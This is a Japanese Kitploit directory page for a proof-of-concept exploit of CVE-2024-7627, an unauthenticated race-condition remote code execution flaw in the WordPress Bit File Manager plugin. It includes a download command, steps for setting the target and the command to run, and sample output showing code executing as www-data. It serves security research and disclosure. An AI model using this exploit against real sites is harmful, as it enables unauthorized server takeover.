Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-7627-PoC — WordPressプラグインBit File Managerバージョン6.0~6.5.5におけるレースコンディションを介した認証不要のリモートコード実行(CVE-2024-7627)脆弱性の概念実証スクリプト | Kitploit
ツール/GitHubGitHub/siunam321/cve-2024-7627-poc
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubsiunam321/cve-2024-7627-poc

CVE-2024-7627-PoC

WordPressプラグインBit File Managerバージョン6.0~6.5.5におけるレースコンディションを介した認証不要のリモートコード実行(CVE-2024-7627)脆弱性の概念実証スクリプト

リポジトリを見る
6211年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-7627-PoC

背景

このProof-of-Concept(PoC)スクリプトは、WordPressプラグインBit File Managerバージョン6.0~6.5.5における、競合状態を利用した認証なしリモートコード実行の脆弱性(CVE-2024-7627)に対するものです。

情報

説明:

WordPress用プラグインBit File Managerのバージョン6.0から6.5.5では、'checkSyntax'関数を介したリモートコード実行の脆弱性があります。これは、ファイル検証を行う前に一時ファイルを一般公開ディレクトリに書き込むことに起因します。管理者がゲストユーザーの読み取り権限を許可している場合、認証されていない攻撃者がサーバー上でコードを実行できる可能性があります。(出典:https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-manager/bit-file-manager-60-655-unauthenticated-remote-code-execution-via-race-condition)

技術詳細

解説:https://siunam321.github.io/ctf/Bug-Bounty/Wordfence/how-i-found-my-first-vulnerabilities-in-6-different-wordpress-plugins-part-2/#flawedmissing-permission-check---bit-file-manager-rce-via-race-condition

インストール

root@kitploit:~
wget https://raw.githubusercontent.com/siunam321/CVE-2024-7627-PoC/main/poc.py

使用方法/エクスプロイト

  • 前提条件:管理者がゲストユーザーのアクセス権限を許可しており、ショートコードfile-managerが管理者によって既に設定されている必要があります。

Pythonスクリプトpoc.pyのtargetBaseUrl、fileManagerPostPath、commandToExecuteを希望する値に更新してください。その後、python3 poc.pyを実行してPoCスクリプトを起動します。

出力例:

root@kitploit:~
└> python3 poc.py
[*] Getting a valid AJAX nonce...
[+] Found the valid AJAX nonce: f3128b289e
[*] Getting a random file's hash via elFinder command "open"...
[+] Found file "wp-config-sample.php" with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA"!
[*] Editing file with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA" via elFinder command "put" and getting the edited temporary PHP file at "http://localhost/wp-content/uploads/file-managertemp.php"...
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[+] We won the race condition! Here's the PHP payload result:
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
8d3b2776e8a6
ツールをダウンロード